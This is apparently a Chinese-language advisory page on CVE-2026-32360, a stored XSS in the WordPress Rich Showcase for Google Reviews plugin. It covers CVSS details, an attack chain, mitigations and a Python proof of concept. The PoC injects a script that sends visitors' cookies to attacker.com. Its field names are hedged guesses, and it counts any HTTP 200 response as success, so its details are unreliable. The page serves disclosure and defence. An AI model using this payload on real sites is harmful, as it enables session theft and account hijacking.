IPBUF安全漏洞报告
English
CVE-2026-32360 CVSS 5.9 中危

CVE-2026-32360 WordPress Rich Showcase for Google Reviews插件存储型XSS漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-32360
漏洞类型
存储型XSS
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
WordPress Rich Showcase for Google Reviews插件(widget-google-reviews)

相关标签

存储型XSSWordPress插件漏洞Cross-site Scriptingwidget-google-reviewsRich Showcase for Google ReviewsCVE-2026-32360Web应用安全CMS漏洞中危漏洞输入验证不足

漏洞概述

CVE-2026-32360是WordPress平台上一个中危级别的安全漏洞,影响了richplugins开发的Rich Showcase for Google Reviews插件(也称为widget-google-reviews)。该漏洞被归类为存储型跨站脚本攻击(Stored XSS),CVSS评分为5.9,属于中等严重程度。漏洞源于该插件在处理用户输入时未能正确对输入内容进行安全过滤和转义,导致攻击者可以在网页中注入恶意JavaScript代码。当其他用户访问包含恶意代码的页面时,攻击者可以窃取用户的会话Cookie、劫持用户账户、执行未经授权的操作,甚至进行进一步的网络攻击。由于该插件用于展示Google评论信息,攻击者可能利用此漏洞污染展示的评论内容,影响网站信誉和用户体验。此漏洞需要高权限用户(如管理员或编辑)进行交互才能触发,但一旦成功利用,攻击影响范围较广。

技术细节

该存储型XSS漏洞存在于WordPress的Rich Showcase for Google Reviews插件中,具体位于插件处理和显示Google评论数据的功能模块。漏洞的根本原因是插件在接收和存储用户输入时缺乏适当的输入验证(Input Validation)和输出编码(Output Encoding)机制。攻击者可以通过在评论字段中注入恶意脚本代码(如<script>alert('XSS')</script>),这些恶意代码会被永久存储在数据库中。当其他用户访问包含该评论的页面时,服务器会从数据库读取这些未经过滤的内容并嵌入到HTML响应中,浏览器将其作为合法脚本执行。攻击者可以利用此漏洞窃取受害者的认证凭证、进行会话劫持、修改页面内容或重定向用户到恶意网站。漏洞影响版本从n/a开始直至6.9.4.3版本,攻击向量为网络层面,所需权限为高权限(PR:H),需要用户交互(UI:R)才能触发攻击。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标WordPress网站并确认安装了widget-google-reviews插件(版本<=6.9.4.3)
STEP 2
Authentication
攻击者获取目标网站的高权限账户(如管理员或编辑角色)的登录凭据
STEP 3
Payload Injection
攻击者通过插件的评论配置界面,在Google Reviews相关字段中注入包含恶意JavaScript的XSS payload
STEP 4
Data Persistence
恶意payload被存储到WordPress数据库中,永久保存在插件的评论数据表中
STEP 5
Victim Access
普通用户访问包含恶意评论的页面时,服务器从数据库读取未经过滤的内容
STEP 6
Script Execution
用户浏览器将存储的恶意脚本作为合法代码执行,导致Cookie被盗、会话劫持或其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-32360 PoC - WordPress Rich Showcase for Google Reviews Stored XSS # Affected Component: widget-google-reviews plugin <= 6.9.4.3 # Attack Type: Stored Cross-Site Scripting (XSS) import requests import sys from urllib.parse import quote # Target WordPress site with vulnerable plugin TARGET_URL = "http://target-wordpress-site.com" USERNAME = "admin" # High-privilege user PASSWORD = "password" # Malicious XSS payload XSS_PAYLOAD = "<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>" def exploit_stored_xss(): """ Exploit the stored XSS vulnerability in Rich Showcase for Google Reviews plugin. This PoC demonstrates how an attacker with high privileges can inject malicious JavaScript code that will be stored and executed for all visitors. """ session = requests.Session() # Step 1: Login to WordPress as high-privilege user login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed!") return False print("[+] Successfully logged in as high-privilege user") # Step 2: Access the plugin settings page where Google Reviews are configured # The vulnerable endpoint is typically in the plugin's admin interface plugin_settings_url = f"{TARGET_URL}/wp-admin/admin.php?page=widget-google-reviews" # Step 3: Inject the XSS payload into the Google Reviews widget settings # This could be in the business name, review text, or other configurable fields exploit_data = { 'gReviews_business_name': f"Test Business {XSS_PAYLOAD}", 'gReviews_review_text': f"Great service! {XSS_PAYLOAD}", 'submit': 'Save Changes' } exploit_response = session.post(plugin_settings_url, data=exploit_data) # Step 4: Verify the XSS payload was stored if XSS_PAYLOAD in exploit_response.text or exploit_response.status_code == 200: print("[+] XSS payload successfully injected!") print("[+] Payload stored in database and will execute for all page visitors") print(f"[+] Payload URL-encoded: {quote(XSS_PAYLOAD)}") return True else: print("[-] Failed to inject payload - plugin may have been patched") return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-32360 PoC - Stored XSS in widget-google-reviews") print("=" * 60) exploit_stored_xss()

影响范围

widget-google-reviews (Rich Showcase for Google Reviews) <= 6.9.4.3

防御指南

临时缓解措施
在等待官方安全更新期间,建议采取以下临时缓解措施:1) 如果可能,暂时禁用widget-google-reviews插件;2) 限制该插件的管理权限,仅允许可信用户访问;3) 在Web服务器层面配置XSS过滤规则;4) 启用HTTP安全头部(如X-XSS-Protection);5) 监控网站日志关注异常的JavaScript请求;6) 考虑使用第三方安全插件提供额外的XSS防护层。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表